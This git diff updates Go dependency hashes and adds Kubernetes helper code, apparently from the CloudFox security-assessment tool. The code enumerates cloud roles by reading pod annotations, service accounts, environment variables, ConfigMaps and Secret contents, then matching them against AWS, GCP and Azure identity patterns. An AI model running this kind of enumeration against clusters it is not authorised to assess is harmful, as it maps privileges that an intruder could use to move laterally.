github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=
|
||||
github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
|
||||
@@ -454,6 +523,8 @@ github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o
|
||||
github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4=
|
||||
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||
github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM=
|
||||
github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
|
||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
|
||||
github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
|
||||
@@ -475,26 +546,29 @@ go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.6
|
||||
go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.64.0/go.mod h1:habDz3tEWiFANTo6oUE99EmaFUrCNYAAg3wiVmusm70=
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.64.0 h1:ssfIgGNANqpVFCndZvcuyKbl0g+UAVcbBcqGkG28H0Y=
|
||||
go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.64.0/go.mod h1:GQ/474YrbE4Jx8gZ4q5I4hrhUzM6UPzyrqJYV2AqPoQ=
|
||||
go.opentelemetry.io/otel v1.40.0 h1:oA5YeOcpRTXq6NN7frwmwFR0Cn3RhTVZvXsP4duvCms=
|
||||
go.opentelemetry.io/otel v1.40.0/go.mod h1:IMb+uXZUKkMXdPddhwAHm6UfOwJyh4ct1ybIlV14J0g=
|
||||
go.opentelemetry.io/otel v1.43.0 h1:mYIM03dnh5zfN7HautFE4ieIig9amkNANT+xcVxAj9I=
|
||||
go.opentelemetry.io/otel v1.43.0/go.mod h1:JuG+u74mvjvcm8vj8pI5XiHy1zDeoCS2LB1spIq7Ay0=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.38.0 h1:wm/Q0GAAykXv83wzcKzGGqAnnfLFyFe7RslekZuv+VI=
|
||||
go.opentelemetry.io/otel/exporters/stdout/stdoutmetric v1.38.0/go.mod h1:ra3Pa40+oKjvYh+ZD3EdxFZZB0xdMfuileHAm4nNN7w=
|
||||
go.opentelemetry.io/otel/metric v1.40.0 h1:rcZe317KPftE2rstWIBitCdVp89A2HqjkxR3c11+p9g=
|
||||
go.opentelemetry.io/otel/metric v1.40.0/go.mod h1:ib/crwQH7N3r5kfiBZQbwrTge743UDc7DTFVZrrXnqc=
|
||||
go.opentelemetry.io/otel/sdk v1.40.0 h1:KHW/jUzgo6wsPh9At46+h4upjtccTmuZCFAc9OJ71f8=
|
||||
go.opentelemetry.io/otel/sdk v1.40.0/go.mod h1:Ph7EFdYvxq72Y8Li9q8KebuYUr2KoeyHx0DRMKrYBUE=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.40.0 h1:mtmdVqgQkeRxHgRv4qhyJduP3fYJRMX4AtAlbuWdCYw=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.40.0/go.mod h1:4Z2bGMf0KSK3uRjlczMOeMhKU2rhUqdWNoKcYrtcBPg=
|
||||
go.opentelemetry.io/otel/trace v1.40.0 h1:WA4etStDttCSYuhwvEa8OP8I5EWu24lkOzp+ZYblVjw=
|
||||
go.opentelemetry.io/otel/trace v1.40.0/go.mod h1:zeAhriXecNGP/s2SEG3+Y8X9ujcJOTqQ5RgdEJcawiA=
|
||||
go.opentelemetry.io/otel/metric v1.43.0 h1:d7638QeInOnuwOONPp4JAOGfbCEpYb+K6DVWvdxGzgM=
|
||||
go.opentelemetry.io/otel/metric v1.43.0/go.mod h1:RDnPtIxvqlgO8GRW18W6Z/4P462ldprJtfxHxyKd2PY=
|
||||
go.opentelemetry.io/otel/sdk v1.43.0 h1:pi5mE86i5rTeLXqoF/hhiBtUNcrAGHLKQdhg4h4V9Dg=
|
||||
go.opentelemetry.io/otel/sdk v1.43.0/go.mod h1:P+IkVU3iWukmiit/Yf9AWvpyRDlUeBaRg6Y+C58QHzg=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.43.0 h1:S88dyqXjJkuBNLeMcVPRFXpRw2fuwdvfCGLEo89fDkw=
|
||||
go.opentelemetry.io/otel/sdk/metric v1.43.0/go.mod h1:C/RJtwSEJ5hzTiUz5pXF1kILHStzb9zFlIEe85bhj6A=
|
||||
go.opentelemetry.io/otel/trace v1.43.0 h1:BkNrHpup+4k4w+ZZ86CZoHHEkohws8AY+WTX09nk+3A=
|
||||
go.opentelemetry.io/otel/trace v1.43.0/go.mod h1:/QJhyVBUUswCphDVxq+8mld+AvhXZLhe+8WVFxiFff0=
|
||||
go.yaml.in/yaml/v2 v2.4.3 h1:6gvOSjQoTB3vt1l+CU+tSyi/HOjfOjRLJ4YwYZGwRO0=
|
||||
go.yaml.in/yaml/v2 v2.4.3/go.mod h1:zSxWcmIDjOzPXpjlTTbAsKokqkDNAVtZO0WOMiT90s8=
|
||||
go.yaml.in/yaml/v3 v3.0.4 h1:tfq32ie2Jv2UxXFdLJdh3jXuOzWiL1fo0bu/FbuKpbc=
|
||||
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
|
||||
golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
|
||||
golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
|
||||
golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
|
||||
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
|
||||
golang.org/x/crypto v0.17.0/go.mod h1:gCAAfMLgwOJRpTjQ2zCCt2OcSfYMTeZVSRtQlPC7Nq4=
|
||||
golang.org/x/crypto v0.46.0 h1:cKRW/pmt1pKAfetfu+RCEvjvZkA9RimPbh7bhFjGVBU=
|
||||
golang.org/x/crypto v0.46.0/go.mod h1:Evb/oLKmMraqjZ2iQTwDwvCtJkczlDuTmdJXoZVzqU0=
|
||||
golang.org/x/crypto v0.47.0 h1:V6e3FRj+n4dbpw86FJ8Fv7XVOql7TEwpHapKoMJ/GO8=
|
||||
golang.org/x/crypto v0.47.0/go.mod h1:ff3Y9VzzKbwSSEzWqJsJVBnWmRwRSHt/6Op5n9bQc4A=
|
||||
golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9 h1:MDfG8Cvcqlt9XXrmEiD4epKn7VJHZO84hejP9Jmp0MM=
|
||||
golang.org/x/exp v0.0.0-20251209150349-8475f28825e9/go.mod h1:EPRbTFwzwjXj9NpYyyrvenVh9Y+GFeEvMNh7Xuz7xgU=
|
||||
@@ -517,8 +591,8 @@ golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qx
|
||||
golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
|
||||
golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=
|
||||
golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=
|
||||
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
|
||||
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
|
||||
golang.org/x/net v0.49.0 h1:eeHFmOGUTtaaPSGNmjBKpbng9MulQsJURQUAfUwY++o=
|
||||
golang.org/x/net v0.49.0/go.mod h1:/ysNB2EvaqvesRkuLAyjI1ycPZlQHM3q01F02UY/MV8=
|
||||
golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
|
||||
golang.org/x/oauth2 v0.34.0 h1:hqK/t4AKgbqWkdkcAeI8XLmbK+4m4G5YeQRrmiotGlw=
|
||||
golang.org/x/oauth2 v0.34.0/go.mod h1:lzm5WQJQwKZ3nwavOZ3IS5Aulzxi68dUSgRHujetwEA=
|
||||
@@ -545,8 +619,8 @@ golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.15.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
golang.org/x/sys v0.40.0 h1:DBZZqJ2Rkml6QMQsZywtnjnnGvHza6BTfYFWY9kjEWQ=
|
||||
golang.org/x/sys v0.40.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||
golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo=
|
||||
golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
golang.org/x/telemetry v0.0.0-20251208220230-2638a1023523 h1:H52Mhyrc44wBgLTGzq6+0cmuVuF3LURCSXsLMOqfFos=
|
||||
golang.org/x/telemetry v0.0.0-20251208220230-2638a1023523/go.mod h1:ArQvPJS723nJQietgilmZA+shuB3CZxH1n2iXq9VSfs=
|
||||
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
@@ -554,8 +628,8 @@ golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuX
|
||||
golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=
|
||||
golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=
|
||||
golang.org/x/term v0.15.0/go.mod h1:BDl952bC7+uMoWR75FIrCDx79TPU9oHkTZ9yRbYOrX0=
|
||||
golang.org/x/term v0.38.0 h1:PQ5pkm/rLO6HnxFR7N2lJHOZX6Kez5Y1gDSJla6jo7Q=
|
||||
golang.org/x/term v0.38.0/go.mod h1:bSEAKrOT1W+VSu9TSCMtoGEOUcKxOKgl3LE5QEF/xVg=
|
||||
golang.org/x/term v0.39.0 h1:RclSuaJf32jOqZz74CkPA9qFuVTX7vhLlpfj/IGWlqY=
|
||||
golang.org/x/term v0.39.0/go.mod h1:yxzUCTP/U+FzoxfdKmLaA0RV1WgE0VY7hXBwKtY/4ww=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
@@ -563,8 +637,8 @@ golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
|
||||
golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
|
||||
golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=
|
||||
golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=
|
||||
golang.org/x/text v0.32.0 h1:ZD01bjUt1FQ9WJ0ClOL5vxgxOI/sVCNgX1YtKwcY0mU=
|
||||
golang.org/x/text v0.32.0/go.mod h1:o/rUWzghvpD5TXrTIBuJU77MTaN0ljMWE47kxGJQ7jY=
|
||||
golang.org/x/text v0.33.0 h1:B3njUFyqtHDUI5jMn1YIr5B0IE2U0qck04r6d4KPAxE=
|
||||
golang.org/x/text v0.33.0/go.mod h1:LuMebE6+rBincTi9+xWTY8TztLzKHc/9C1uBCG27+q8=
|
||||
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
|
||||
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
@@ -617,6 +691,10 @@ google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j
|
||||
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0 h1:czT3CmqEaQ1aanPc5SdlgQrrEIb8w/wwCvWWnfEbYzo=
|
||||
gopkg.in/evanphx/json-patch.v4 v4.13.0/go.mod h1:p8EYWUEYMpynmqDbY58zCKCFZw8pRWMG4EsWvDvM72M=
|
||||
gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc=
|
||||
gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw=
|
||||
gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
|
||||
gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
@@ -624,3 +702,25 @@ gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
|
||||
k8s.io/api v0.35.4 h1:P7nFYKl5vo9AGUp1Z+Pmd3p2tA7bX2wbFWCvDeRv988=
|
||||
k8s.io/api v0.35.4/go.mod h1:yl4lqySWOgYJJf9RERXKUwE9g2y+CkuwG+xmcOK8wXU=
|
||||
k8s.io/apiextensions-apiserver v0.35.4 h1:HeP+Upp7ItdvnyGmub0yoix+2z5+ev4M5cE5TCgtOUU=
|
||||
k8s.io/apiextensions-apiserver v0.35.4/go.mod h1:ogQlk+stIE8mnoRthSYCwlOS12fVqgWFiErMwPaXA7c=
|
||||
k8s.io/apimachinery v0.35.4 h1:xtdom9RG7e+yDp71uoXoJDWEE2eOiHgeO4GdBzwWpds=
|
||||
k8s.io/apimachinery v0.35.4/go.mod h1:NNi1taPOpep0jOj+oRha3mBJPqvi0hGdaV8TCqGQ+cc=
|
||||
k8s.io/client-go v0.35.4 h1:DN6fyaGuzK64UvnKO5fOA6ymSjvfGAnCAHAR0C66kD8=
|
||||
k8s.io/client-go v0.35.4/go.mod h1:2Pg9WpsS4NeOpoYTfHHfMxBG8zFMSAUi4O/qoiJC3nY=
|
||||
k8s.io/klog/v2 v2.130.1 h1:n9Xl7H1Xvksem4KFG4PYbdQCQxqc/tTUyrgXaOhHSzk=
|
||||
k8s.io/klog/v2 v2.130.1/go.mod h1:3Jpz1GvMt720eyJH1ckRHK1EDfpxISzJ7I9OYgaDtPE=
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912 h1:Y3gxNAuB0OBLImH611+UDZcmKS3g6CthxToOb37KgwE=
|
||||
k8s.io/kube-openapi v0.0.0-20250910181357-589584f1c912/go.mod h1:kdmbQkyfwUagLfXIad1y2TdrjPFWp2Q89B3qkRwf/pQ=
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4 h1:SjGebBtkBqHFOli+05xYbK8YF1Dzkbzn+gDM4X9T4Ck=
|
||||
k8s.io/utils v0.0.0-20251002143259-bc988d571ff4/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0=
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730 h1:IpInykpT6ceI+QxKBbEflcR5EXP7sU1kvOlxwZh5txg=
|
||||
sigs.k8s.io/json v0.0.0-20250730193827-2d320260d730/go.mod h1:mdzfpAEoE6DHQEN0uh9ZbOCuHbLK5wOm7dK4ctXE9Tg=
|
||||
sigs.k8s.io/randfill v1.0.0 h1:JfjMILfT8A6RbawdsK2JXGBR5AQVfd+9TbzrlneTyrU=
|
||||
sigs.k8s.io/randfill v1.0.0/go.mod h1:XeLlZ/jmk4i1HRopwe7/aU3H5n1zNUcX6TM94b3QxOY=
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0 h1:jTijUJbW353oVOd9oTlifJqOGEkUw2jB/fXCbTiQEco=
|
||||
sigs.k8s.io/structured-merge-diff/v6 v6.3.0/go.mod h1:M3W8sfWvn2HhQDIbGWj3S099YozAsymCo/wrT5ohRUE=
|
||||
sigs.k8s.io/yaml v1.6.0 h1:G8fkbMSAFqgEFgh4b1wmtzDnioxFCUgTZhlbj5P9QYs=
|
||||
sigs.k8s.io/yaml v1.6.0/go.mod h1:796bPqUfzR/0jLAl6XjHl3Ck7MiyVv8dbTdyT3/pMf4=
|
||||
@@ -0,0 +1,162 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
// CloudRoleDetectionResult holds a unified detection
|
||||
type CloudRoleDetectionResult struct {
|
||||
Provider string
|
||||
Role string
|
||||
Source string // e.g., "pod env", "pod annotation", "serviceaccount annotation", "configmap", "secret"
|
||||
}
|
||||
|
||||
// DetectCloudRole inspects PodSpec + annotations + ServiceAccount for cloud roles.
|
||||
func DetectCloudRole(ctx context.Context, clientset *kubernetes.Clientset, namespace, serviceAccountName string, podSpec *corev1.PodSpec, annotations map[string]string) []CloudRoleDetectionResult {
|
||||
results := []CloudRoleDetectionResult{}
|
||||
|
||||
// --- 1. Pod annotations ---
|
||||
for k, v := range annotations {
|
||||
if provider, role, ok := ClassifyCloudRole(v); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("pod annotation %s", k),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// --- 2. ServiceAccount annotations ---
|
||||
if podSpec.ServiceAccountName != "" {
|
||||
sa, err := clientset.CoreV1().ServiceAccounts(namespace).Get(ctx, podSpec.ServiceAccountName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
for k, v := range sa.Annotations {
|
||||
if provider, role, ok := ClassifyCloudRole(v); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("serviceaccount %s annotation %s", podSpec.ServiceAccountName, k),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- 3. Environment variables (direct values) ---
|
||||
for _, c := range podSpec.Containers {
|
||||
for _, e := range c.Env {
|
||||
if e.Value != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(e.Value); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("pod env %s", e.Name),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- 4. Env sourced from ConfigMaps/Secrets ---
|
||||
for _, c := range podSpec.Containers {
|
||||
for _, e := range c.Env {
|
||||
if e.ValueFrom != nil && e.ValueFrom.ConfigMapKeyRef != nil {
|
||||
cmName := e.ValueFrom.ConfigMapKeyRef.Name
|
||||
key := e.ValueFrom.ConfigMapKeyRef.Key
|
||||
cm, err := clientset.CoreV1().ConfigMaps(namespace).Get(ctx, cmName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
if val := SafeGet(cm.Data, key); val != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(val); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("configmap %s/%s key %s", namespace, cmName, key),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if e.ValueFrom != nil && e.ValueFrom.SecretKeyRef != nil {
|
||||
secName := e.ValueFrom.SecretKeyRef.Name
|
||||
key := e.ValueFrom.SecretKeyRef.Key
|
||||
sec, err := clientset.CoreV1().Secrets(namespace).Get(ctx, secName, metav1.GetOptions{})
|
||||
if err == nil {
|
||||
if val := SafeGetString(sec.Data, key); val != "" {
|
||||
if provider, role, ok := ClassifyCloudRole(val); ok {
|
||||
results = append(results, CloudRoleDetectionResult{
|
||||
Provider: provider,
|
||||
Role: role,
|
||||
Source: fmt.Sprintf("secret %s/%s key %s", namespace, secName, key),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// --- Deduplicate ---
|
||||
return DeduplicateDetections(results)
|
||||
}
|
||||
|
||||
// Deduplicate results by Provider+Role
|
||||
func DeduplicateDetections(in []CloudRoleDetectionResult) []CloudRoleDetectionResult {
|
||||
seen := map[string]bool{}
|
||||
out := []CloudRoleDetectionResult{}
|
||||
for _, r := range in {
|
||||
key := r.Provider + "|" + r.Role
|
||||
if !seen[key] {
|
||||
seen[key] = true
|
||||
out = append(out, r)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// SafeGetString fetches from Secret.Data safely
|
||||
func SafeGetString(m map[string][]byte, key string) string {
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
val, ok := m[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(val))
|
||||
}
|
||||
|
||||
// DetectCloudProviderFromNode detects the cloud provider from Node.Spec.ProviderID
|
||||
func DetectCloudProviderFromNode(providerID string) string {
|
||||
if providerID == "" {
|
||||
return ""
|
||||
}
|
||||
switch {
|
||||
case strings.HasPrefix(providerID, "aws://"):
|
||||
return "AWS"
|
||||
case strings.HasPrefix(providerID, "gce://"):
|
||||
return "GCP"
|
||||
case strings.HasPrefix(providerID, "azure://"):
|
||||
return "Azure"
|
||||
default:
|
||||
return "Unknown"
|
||||
}
|
||||
}
|
||||
|
||||
// DetectCloudRoleFromNodeLabels returns a role (string) based on node labels (optional)
|
||||
func DetectCloudRoleFromNodeLabels(labels map[string]string) string {
|
||||
if labels == nil {
|
||||
return ""
|
||||
}
|
||||
// Example: AWS node IAM role label
|
||||
if role, ok := labels["iam.amazonaws.com/role"]; ok {
|
||||
return role
|
||||
}
|
||||
// Add other label-based detection if needed
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// --- Regex matchers for role formats ---
|
||||
|
||||
// AWS IAM role ARN
|
||||
var awsRoleRegex = regexp.MustCompile(`^arn:aws:iam::\d{12}:role\/[A-Za-z0-9+=,.@\-_/]+$`)
|
||||
|
||||
// GCP Service Account email
|
||||
var gcpSARegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+@[a-z0-9\-]+\.iam\.gserviceaccount\.com$`)
|
||||
|
||||
// Azure Managed Identity clientID or resourceID
|
||||
var azureMIRegex = regexp.MustCompile(`^[0-9a-fA-F\-]{36}$`)
|
||||
|
||||
// --- Helpers ---
|
||||
|
||||
func IsAWSRoleArn(s string) bool {
|
||||
return awsRoleRegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
func IsGCPServiceAccount(s string) bool {
|
||||
return gcpSARegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
func IsAzureManagedIdentity(s string) bool {
|
||||
return azureMIRegex.MatchString(strings.TrimSpace(s))
|
||||
}
|
||||
|
||||
// Classify string into provider/role
|
||||
func ClassifyCloudRole(s string) (provider, role string, ok bool) {
|
||||
if IsAWSRoleArn(s) {
|
||||
return "AWS", s, true
|
||||
}
|
||||
if IsGCPServiceAccount(s) {
|
||||
return "GCP", s, true
|
||||
}
|
||||
if IsAzureManagedIdentity(s) {
|
||||
return "Azure", s, true
|
||||
}
|
||||
return "", "", false
|
||||
}
|
||||
|
||||
// SafeGet fetches a map key safely
|
||||
func SafeGet(m map[string]string, key string) string {
|
||||
if m == nil {
|
||||
return ""
|
||||
}
|
||||
return m[key]
|
||||
}
|
||||
@@ -0,0 +1,376 @@
|
||||
package kubernetes
|
||||
|
||||
import (
|
||||
"context"
|
||||
"math/rand"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
"k8s.io/client-go/tools/clientcmd"
|
||||
)
|
||||
|
||||
// randomSuffix generates a random 6-character alphanumeric string
|
||||
func randomSuffix() string {
|
||||
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
|
||||
seededRand := rand.New(rand.NewSource(time.Now().UnixNano()))
|
||||
b := make([]byte, 6)
|
||||
for i := range b {
|
||||
b[i] = charset[seededRand.Intn(len(charset))]
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// GetClusterName retrieves the cluster name using multiple detection methods.
|
||||
// Priority: kubeconfig context (user-configured, most authoritative) > node labels > API server URL > error parsing.
|
||||
func GetClusterName(clientset *kubernetes.Clientset) string {
|
||||
ctx := context.Background()
|
||||
|
||||
// Attempt 1: Parse kubeconfig context/cluster name (most authoritative — user-configured)
|
||||
if name := getClusterNameFromKubeconfig(); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 2: Check node labels for cluster name (cloud provider metadata)
|
||||
if name := getClusterNameFromNodes(ctx, clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 3: Extract from API server URL (cloud provider specific)
|
||||
if name := getClusterNameFromAPIServer(clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
// Attempt 4: Force an error and parse the cluster info from it
|
||||
if name := getClusterNameFromError(ctx, clientset); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
return "unknown-cluster-" + randomSuffix()
|
||||
}
|
||||
|
||||
